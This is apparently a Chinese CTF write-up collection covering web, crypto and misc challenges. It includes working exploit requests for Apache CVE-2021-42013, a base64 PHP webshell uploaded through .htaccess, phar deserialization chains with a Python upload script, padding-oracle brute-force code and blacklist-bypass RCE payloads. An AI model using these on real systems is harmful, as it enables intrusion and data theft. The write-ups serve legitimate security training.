_单身杯 ctfshow OSINT 任性老板 web好卡,看看别的,又有社工,查看图片,提取关键字,只卖一种面,干拌面,根据口音是四川的(咱是四川人嘛)加上说的是自家的房子,那肯定是四川了,加上几个不卖,查,四川只卖干拌面,还挺有名,啥规矩最多,顺藤摸瓜,于是找到店名:左撇子私房面,然后直接搜名字,最后在大众点评上找到电话:15882424927
1 flag{左撇子私房面_15882424927}
CRYPTO The Dancing Men 闲着也是闲着,看看密码,经典跳舞的小人,我嬲,这什么勾八flag啊怎么这么长,百度个对照表,和密文放一起,开始手动解,跳舞小人是有大小写的,举旗为大写,很快发现大写结尾为一个单词,按照意思解,单词翻译不过来就是解错了,最后解出:
1 pleasE usE underslasH betweeN everY worD witH initialS iN capitalS thE flaG iS everyonE loveS taosheN
发现前面是要求,最后一点才是flag,下划线连接,单词首字母大写,最后用格式包起来:
1 ctfshow{Everyone_Loves_Taoshen}
2022DASCTF MAY 出题人挑战赛 web Power Cookie 很多人出了,题目又这么明显,直接抓包
访问/check
改成admin=1
带着这个cookie变量再次访问/check
,出了
魔法浏览器 1 2 3 4 5 flag.txt 为保证文档安全。请使用魔法浏览器来访问。 <script type="text/javascript" > let ua = "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35" ; console ["\x6c\x6f\x67" ](ua); </script>
十六进制解一下:
1 2 3 4 \x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35 Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Magic/100.0.4896.75
要把UA设置成这个,没反应,照着规范的UA改一下:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
成这样,发包
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75 出
getme Apache/2.4.50 (Unix)
apache2.4.50的cve
CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越流量特征
直接照着拿来用就通了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 文件读取 GET: /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd POST: /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh 根目录的flag是假的,可以用find命令找找 echo;find / -name *fl* /diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg /flag 同理可以找la,ag 最后在根目录一个奇怪文件夹里面找到flag(又是套题 POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: node4.buuoj.cn:25202 Content-Length: 65 echo;cat /diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg
hackme go语言的命令执行基础
第一次发.go,第二次去掉后缀再发一次,最后再选择访问/shortcuts?alias=filename
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package mainimport ("fmt" "log" "os/exec" ) func main () { cmd := exec.Command("ls" ,"/" ) out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n" , string (out)) log.Fatalf("cmd.Run() failed with %s\n" , err) } fmt.Printf("combined out:\n%s\n" , string (out)) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package mainimport ("fmt" "log" "os/exec" ) func main () { cmd := exec.Command("cat" ,"/flag" ) out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n" , string (out)) log.Fatalf("cmd.Run() failed with %s\n" , err) } fmt.Printf("combined out:\n%s\n" , string (out)) }
Dest0g3 520迎新赛 520,闲着也是闲着,不如打打简单题放松一下
web phpdest 好像是个简单题,哦想起来了,老知识点,文件包含不能二次包含,但可以绕
知识点链接
这里是需要利用伪协议配合多级符号链接绕过:
1 ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
EasyPHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );include "fl4g.php" ;$dest0g3 = $_POST ['ctf' ];$time = date ("H" );$timme = date ("d" );$timmme = date ("i" );if (($time > "24" ) or ($timme > "31" ) or ($timmme > "60" )){ echo $fl4g ; }else { echo "Try harder!" ; } set_error_handler ( function ( ) use (&$fl4g ) { print $fl4g ; } ); $fl4g .= $dest0g3 ;?>
有个自定义报错函数:set_error_handler
下面有个字符串拼接:$fl4g .= $dest0g3;
直接传数组使之拼接错误,然后报错获得
SimpleRCE 1 2 3 4 5 6 7 <?php highlight_file (__FILE__ );$aaa =$_POST ['aaa' ];$black_list =array ('^' ,'.' ,'`' ,'>' ,'<' ,'=' ,'"' ,'preg' ,'&' ,'|' ,'%0' ,'popen' ,'char' ,'decode' ,'html' ,'md5' ,'{' ,'}' ,'post' ,'get' ,'file' ,'ascii' ,'eval' ,'replace' ,'assert' ,'exec' ,'$' ,'include' ,'var' ,'pastre' ,'print' ,'tail' ,'sed' ,'pcre' ,'flag' ,'scan' ,'decode' ,'system' ,'func' ,'diff' ,'ini_' ,'passthru' ,'pcntl' ,'proc_open' ,'+' ,'cat' ,'tac' ,'more' ,'sort' ,'log' ,'current' ,'\\' ,'cut' ,'bash' ,'nl' ,'wget' ,'vi' ,'grep' );$aaa = str_ireplace ($black_list ,"hacker" ,$aaa );eval ($aaa );?>
使用原生类查到flag在根目录下:
aaa=echo(new GlobIterator(‘/f*’));
然后使用逆序绕过,并且使用show_source打印出flag
aaa=show_source(strrev(‘galf/‘));
当然require也行,ban的挺少
funny_upload 啥苟muhua来咯
人不行偏怪路不平,诶,就那个纯纯的啥笔
文件上传,前端检测使用抓包发送绕过,后端拦截了文件后缀ph
,使用的是Apache,所以考虑可以上传.htaccess
,进行文件配置:
1 2 AddType application/x-httpd-php .abc php_value auto_append_file php://filter/convert.base64-decode/resource=1.abc
然后上传一个马1.abc
,内容是base64编码的马:
1 2 3 PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
打开1.abc文件,post传入
1=phpinfo();
禁用了命令执行,但可以使用php函数查看目录
1 2 var_dump (scandir ('/' ));echo new SplFileObject ("/flag" );
pharpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php highlight_file (__FILE__ );function waf ($data ) { if (is_array ($data )){ die ("Cannot transfer arrays" ); } if (preg_match ('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i' , $data )) { die ("You can't do" ); } } class air { public $p ; public function __set ($p , $value ) { $p = $this ->p->act; echo new $p ($value ); } } class tree { public $name ; public $act ; public function __destruct ( ) { return $this ->name (); } public function __call ($name , $arg ) { $arg [1 ] =$this ->name->$name ; } } class apple { public $xxx ; public $flag ; public function __get ($flag ) { $this ->xxx->$flag = $this ->flag; } } class D { public $start ; public function __destruct ( ) { $data = $_POST [0 ]; if ($this ->start == 'w' ) { waf ($data ); $filename = "/tmp/" .md5 (rand ()).".jpg" ; file_put_contents ($filename , $data ); echo $filename ; } else if ($this ->start == 'r' ) { waf ($data ); $f = file_get_contents ($data ); if ($f ){ echo "It is file" ; } else { echo "You can look at the others" ; } } } } class banana { public function __get ($name ) { return $this ->$name ; } } if (strlen ($_POST [1 ]) < 55 ) { $a = unserialize ($_POST [1 ]); } else { echo "str too long" ; } throw new Error ("start" );?>
链子不算难,上传然后打phar就行,waf直接压缩就行,关键就在于代码:
1 throw new Error ("start" );
会导致正常反序列化无法触发到析构方法__destruct
利用gc垃圾回收机制:回收周期(Collecting Cycles)
先构造上传/触发链子
1 2 3 4 5 6 7 8 9 10 11 12 <?php class D {} $a = new D ();$a ->start = 'w' ;$b = array (0 =>$a ,1 =>NULL );$c = serialize ($b );$c = preg_replace ('/(i:1;)/' ,'i:0;' ,$c );echo ($c );
接着构造利用链:__destruct
方法中:
return $this->name(); 调用一个tree类
中名为name
的方法,因为tree类
中不存在该方法,触发tree类
中的__call
方法
给tree类
中的name属性
赋值为apple对象
:
$this->name->$name;apple类
中不存在name属性
,触发__get
方法: $this->xxx->$flag = $this->flag; 给xxx属性
赋值为air对象
此时air类
中不存在flag属性
,赋值这个行为触发__set
方法: $p = $this->p->act; 将p属性
赋值为tree对象
,此时: echo new $p($value);$p
和$value
都可控,使用原生类直接进行文件查找与访问既可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php class air { public $p ; } class tree { public $name ; public $act ; } class apple { public $xxx ; public $flag ; } class banana {} $a = new tree ();$a ->name = new apple ();$a ->name->xxx = new air ();$a ->name->xxx->p = new tree ();$a ->name->xxx->p->act = "SplFileObject" ;$a ->name->flag = "/fflaggg" ;$phar = new Phar ("phar1.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $c = array (0 =>$a ,1 =>NULL );$phar ->setMetadata ($c ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsimport gzipimport refrom hashlib import sha1f = open ('./phar1.phar' ,'rb' ).read() f = f.replace(b'i:1;N' ,b'i:0;N' ) s = f[:-28 ] h = f[-8 :] newf = s+sha1(s).digest()+h g = open ('phar2.phar' , 'wb' ).write(newf) f.close() g.close() url = 'url' file = open ("./phar2.phar" , "rb" ) file_out = gzip.open ("./phar.gz" , "wb+" ) file_out.writelines(file) file_out.close() file.close() res=requests.post( url, data={ 1 : 'a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:0;N;}' , 0 : open ('./phar.gz' , 'rb' ).read() }, ) r = re.findall("tmp/(.*?).jpg" ,res.text) for i in range (len (r)): if len (r[i])==32 : r = r[i] print (r)res2 = requests.post( url, data={ 1 : 'a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"r";}i:0;N;}' , 0 : f'phar://tmp/{r} .jpg' } ) print (res2.text)
CRYPTO babyRSA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from Crypto.Util.number import bytes_to_long, getPrimefrom gmpy2 import next_primep = getPrime(1024 ) q = next_prime(p) n = p*q flag = open ('flag.txt' , 'rb' ).read() m = bytes_to_long(flag) e = 65537 c = pow (m, e, n) print (n)print (c)''' 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854 '''
yafu分解因式
然后直接脚本算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import binasciiimport gmpy2p = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973971467 q = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973969401 n = 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267 e = 65537 c = 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854 phi = (p-1 )*(q-1 ) d = gmpy2.invert(e,phi) m = pow (c,d,n) flag = binascii.unhexlify(hex (m)[2 :]) print (flag)
babyAES 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from Crypto.Cipher import AESimport osiv = os.urandom(16 ) key = os.urandom(16 ) my_aes = AES.new(key, AES.MODE_CBC, iv) flag = open ('flag.txt' , 'rb' ).read() flag += (16 - len (flag) % 16 ) * b'\x00' c = my_aes.encrypt(flag) print (c)print (iv)print (key)''' b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07' b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80' b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F' '''
直接给了iv和key值,给flag赋值为c,iv和key直接赋值,直接使用:
c = my_aes.decrypt(flag)
即可得出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from Crypto.Cipher import AESimport osiv = os.urandom(16 ) iv = b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80' key = os.urandom(16 ) key = b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F' my_aes = AES.new(key, AES.MODE_CBC, iv) flag = b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07' c = my_aes.decrypt(flag) print (c)
MISC Pngenius 还好,是几种常见解密方法
下载图片可以直接010打开,直接将压缩包格式的前面全部删掉并且保存为zip即可得到一个压缩包,或者稳妥点使用foremost分解出来,有加密,看了一下是真加密,于是找密码
想了想是png,就用Stegsolve打开,翻了一圈没找到,检查数据,使用的RGB最低位隐写
Password for zip :Weak_Pas5w0rd
四叶草小活动 misc base32解码,是压缩包文件的16进制格式,用脚本转一下存成压缩包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import socketimport binasciiimport gmpy2import pickleimport ioimport sysimport base64import subprocessimport requestsimport htmlimport jinja2import stringimport reimport randomimport jsonimport urllib.parseimport timefrom gmpy2 import invert from Crypto.Util.number import bytes_to_long, getPrime,long_to_bytesa = int (0x504B03041400 ) b = long_to_bytes(a) f = open ("flag.zip" ,"wb" ) f.write(b) print (b)
打开有一个动图,随便截图,扫一下就出了
强网杯2022 web babyweb 本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/
docker run -dit -p “0.0.0.0:pub_port:8888” babyweb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html> <html> <head> <script> var ws = null ; var url = "ws://47.93.187.169:42936/bot" ; function sendtobot ( ) { ws = new WebSocket (url); ws.onopen = function (event ) { ws.send ("changepw 2" ); } ws.onmessage = function (evt ) { alert (evt.data); ws.close (); } </script> </head> <body> <div> <button id="fuck" type="button" onclick="sendtobot()" >发送</button> </div> <script> document.getElementById ("fuck" ).click (); </script> </body> </html>
ezweb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <body> <h1>欢迎来到强网杯照片墙</h1> <form action="index.php" method="post" enctype="multipart/form-data" > <input type="file" name="file" id="file" ><br> <input type="submit" name="submit" value="提交" ><br> <a href="showfile.php?f=./demo.png" >查看照片</a> <?php $upload = md5 ("2022qwb" .$_SERVER ['REMOTE_ADDR' ]); @mkdir ($upload , 0333 , true ); if (isset ($_POST ['submit' ])) { include 'upload.php' ; } ?> </form> </body>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );require_once ('class.php' );if (isset ($_SESSION )){ if (isset ($_GET ['fname' ])?!empty ($_GET ['fname' ]):FALSE ){ $_FILES ["file" ]["name" ] = $_GET ['fname' ]; } $upload = new Upload (); $upload ->upload (); }else { die ("<p class='tip'>guest can not upload file</p>" ); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 <?php class Upload { public $file ; public $filesize ; public $date ; public $tmp ; function __construct ( ) { $this ->file = $_FILES ["file" ]; } function do_upload ( ) { $filename = session_id ().explode ("." ,$this ->file["name" ])[0 ].".jpg" ; if (file_exists ($filename )) { unlink ($filename ); } move_uploaded_file ($this ->file["tmp_name" ],md5 ("2022qwb" .$_SERVER ['REMOTE_ADDR' ])."/" .$filename ); echo 'upload ' ."./" .md5 ("2022qwb" .$_SERVER ['REMOTE_ADDR' ])."/" .$this ->e ($filename ).' success!' ; } function e ($str ) { return htmlspecialchars ($str ); } function upload ( ) { if ($this ->check ()) { $this ->do_upload (); } } function __toString ( ) { return $this ->file["name" ]; } function __get ($value ) { $this ->filesize->$value = $this ->date; echo $this ->tmp; } function check ( ) { $allowed_types = array ("jpg" ,"png" ,"jpeg" ); $temp = explode ("." ,$this ->file["name" ]); $extension = end ($temp ); if (in_array ($extension ,$allowed_types )) { return true ; } else { echo 'Invalid file!' ; return false ; } } } class GuestShow { public $file ; public $contents ; public function __construct ($file ) { $this ->file=$file ; } function __toString ( ) { $str = $this ->file->name; return "" ; } function __get ($value ) { return $this ->$value ; } function show ( ) { $this ->contents = file_get_contents ($this ->file); $src = "data:jpg;base64," .base64_encode ($this ->contents); echo "<img src={$src} />" ; } function __destruct ( ) { echo $this ; } } class AdminShow { public $source ; public $str ; public $filter ; public function __construct ($file ) { $this ->source = $file ; $this ->schema = 'file:///var/www/html/' ; } public function __toString ( ) { $content = $this ->str[0 ]->source; $content = $this ->str[1 ]->schema; return $content ; } public function __get ($value ) { $this ->show (); return $this ->$value ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function show ( ) { if (preg_match ('/usr|auto|log/i' , $this ->source)) { die ("error" ); } $url = $this ->schema . $this ->source; $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($curl , CURLOPT_HEADER, 1 ); $response = curl_exec ($curl ); curl_close ($curl ); $src = "data:jpg;base64," .base64_encode ($response ); echo "<img src={$src} />" ; } public function __wakeup ( ) { if ($this ->schema !== 'file:///var/www/html/' ) { $this ->schema = 'file:///var/www/html/' ; } if ($this ->source !== 'admin.png' ) { $this ->source = 'admin.png' ; } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );require_once ('class.php' );$filename = $_GET ['f' ];if (preg_match ("/http|https|bzip2|gopher|dict|zlib|data|input|%00/i" , $filename )){ die ("nop" ); } else { if (isset ($_SESSION )){ $show = new AdminShow ($filename ); $show ->show (); }else { if (preg_match ('/guest|demo/i' ,$filename )) { $show = new GuestShow ($filename ); $show ->show (); }else { die ("<p class='tip'>no permission, you can only see string 'demo' and 'guest'</p>" ); } } } ?>
强网先锋 rcefile 文章链接
文章内提到,自动化加载机制会在实例化一个类时将对应类文件包含,自动加载的后缀是.php
和.inc
打开靶机,有文件上传,上传发现,需要image/jpeg
,php,phtml都不行,文件被改了名字,所以配置文件也不行,www.zip
,下载看,发现包含了一个cinfig.inc.php
,而文件中有个函数:spl_autoload_register()
然后又对Cookie["userfile"]
实施了反序列化,这就实现了一个类的实例化,因此,我们只要上传一个inc文件,文件中有马,将生成的文件名记录下来,例如:d829d02ffba31af930f908d4a09ad85e,然后写一个poc:
1 2 3 4 5 6 <?php class d829d02ffba31af930f908d4a09ad85e {} echo serialize (new d829d02ffba31af930f908d4a09ad85e);
然后将这个生成的序列化字符串作为cookie值的变量userfile值进行访问
就包含到马了
flag{29135aef-df99-4dba-9039-0fc7982450bd}
巅峰极客 web babyweb 试图弱密码登录,但没有成功,回显false,接着抓包看一眼,存在cookie:
1 admin_password=vJPV+K2/32O4fnGKBrP1xgEE3Ho7OpW687IOB/nfuUXADbwlkhqnvbbQWdl8GcJqPYrn4pZiST+FbVOktTa7ng==;session=eyJhZG1pbl9wYXNzd29yZCI6InZKUFYrSzIvMzJPNGZuR0tCclAxeGdFRTNIbzdPcFc2ODdJT0IvbmZ1VVhBRGJ3bGtocW52YmJRV2RsOEdjSnFQWXJuNHBaaVNUK0ZiVk9rdFRhN25nPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvxnqg.W7Vlq3mz_SYFmsraNmUL1uHdC2U;
flask_session解密:
1 2 python3 flask_session_cookie_manager3.py decode -c "eyJhZG1pbl9wYXNzd29yZCI6InZKUFYrSzIvMzJPNGZuR0tCclAxeGdFRTNIbzdPcFc2ODdJT0IvbmZ1VVhBRGJ3bGtocW52YmJRV2RsOEdjSnFQWXJuNHBaaVNUK0ZiVk9rdFRhN25nPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvxnqg.W7Vlq3mz_SYFmsraNmUL1uHdC2U"
法一: 使用padbuster直接跑
1 ./padBuster.pl url 71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+ 8 --cookie auth=71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+ -plaintext user=admin
法二: 脚本爆破中间码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import requestsimport timeimport base64enc = base64.b64decode("KBLR73Xs+27+jqaDJxxn5m4dhT0JKrZO7ZrdTDKwY4MWT99pwDAr+Doinyc7Z7aQcWMIJXj1X26zfQIzsKJmpQ==" ) iv = enc[:16 ] a = enc[16 :32 ] b = enc[32 :48 ] c = enc[48 :64 ] N = 16 middle = b"" m = b'' jwt = '; session=eyJhZG1pbl9wYXNzd29yZCI6IktCTFI3M1hzKzI3K2pxYURKeHhuNW00ZGhUMEpLclpPN1pyZFRES3dZNE1XVDk5cHdEQXIrRG9pbnljN1o3YVFjV01JSlhqMVgyNnpmUUl6c0tKbXBRPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvyqfg.rne4FOqd4fwNXCQxvbDkQq7iTCE' url = 'http://eci-2ze5c6hgy29ykascmvi4.cloudeci1.ichunqiu.com/login' def xor (a, b ): return b"" .join([byte((a[i] ^ b[i])) for i in range (0 , len (a))]) def byte (key ): return key.to_bytes(1 , 'big' ) for step in range (1 , N + 1 ): padding = byte(step) * (step - 1 ) print ("爆破的最后{}位" .format (step)) for i in range (0 , 256 ): new_iv = byte(0 ) * (N - step) + byte(i) + xor(padding, middle) data = { "username" : "admin" , "passxxxx" : "xxmin" } payload = new_iv + a headers = { "Cookie" : "admin_password=" + base64.b64encode(payload).decode() + jwt } r = requests.post(url=url, data=data, headers=headers) time.sleep(0.01 ) if r.text == "False" : print (i, r.text) middle = xor(byte(i), byte(step)) + middle print (middle) break print (xor(middle,a))
爆破出来后去掉填充部分,作为密码进行admin账号登录
crypto 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from Crypto.Util.number import *from gmpy2 import *from random import *assert len (flag)==42 p=getPrime(600 ) a=bytes_to_long(flag) b=randrange(2 ,p-1 ) E=EllipticCurve(GF(p),[a,b]) G=E.random_element() x1,y1,_=G G=2 *G x2,y2,_=G print (f"p = {p} " )print (f"b = {b} " )print (f"x1 = {x1} " )print (f"x2 = {x2} " )''' p = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623 b = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147 x1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740 x2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727 '''
椭圆曲线方程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import binasciidef eulerCriterion (a, p ): return -1 if pow (a, int ((p-1 )/2 ), p) == p-1 else 1 def cipollaMult (x1, y1, x2, y2, u, p ): return ((x1*x2 + y1*y2*u) % p), ((x1*y2 + x2*y1) % p) def cipollaAlgorithm (n, p ): a = Mod(n, p) out = [] if pow (p, 1 , 4 ) == 3 : temp = pow (a, int ((p+1 )/4 ), p) return [temp, p - temp] t = randrange(2 , p) u = pow (t**2 - a, 1 , p) while (eulerCriterion(u, p) == 1 ): t = randrange(2 , p) u = pow (t**2 - a, 1 , p) x0, y0 = t, 1 x, y = t, 1 for i in range (int ((p + 1 ) / 2 ) - 1 ): x, y = cipollaMult(x, y, x0, y0, u, p) out.extend([x, p - x]) return sorted (out) p = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623 b = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147 x1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740 x2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727 lamSqr = (x2 + 2 * x1) % p lam = cipollaAlgorithm(lamSqr, p) lam = lam[0 ] res = (4 * lam ** 2 * (x1 ** 3 + b) - 12 * x1 ** 3 * lam ** 2 + 4 * lam ** 4 * x1 ** 2 ) % p aplus = cipollaAlgorithm(res, p) aplus = aplus[0 ] plus = (3 * x1 ** 2 - 2 * lam ** 2 * x1) % p a = (aplus - plus) % p print (a) print (binascii.unhexlify(hex (a)[2 :]).decode())
然后也是sagemath 网站跑一下
ciscn web web_so_easy_4_u 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php error_reporting (0 );session_start ();?> <html lang="zh-Hans" > <head> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1" > <title>个人资料 - 查看</title> <link href="./css/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" /> </head> <body> <div class ="container "> <h1 >个人资料 - 查看</h1 > <div class ="d -flex justify -content -center "> <div class ="card px -2"> <img id ="avatar " width ="200px " height ="200px " class ="border border -2 rounded -circle " alt ="avatar "> <div class ="card -body "> <h5 id ="name " class ="card -title "></h5 > <p id ="slogan " class ="card -text "></p > <a id ="edit " href ="./edit .php " class ="btn btn -primary ">编辑</a > <a id ="email " href ="mailto :" class ="btn btn -primary ">邮我</a > </div > </div > </div > </div > <script src ="./js /@popperjs /core 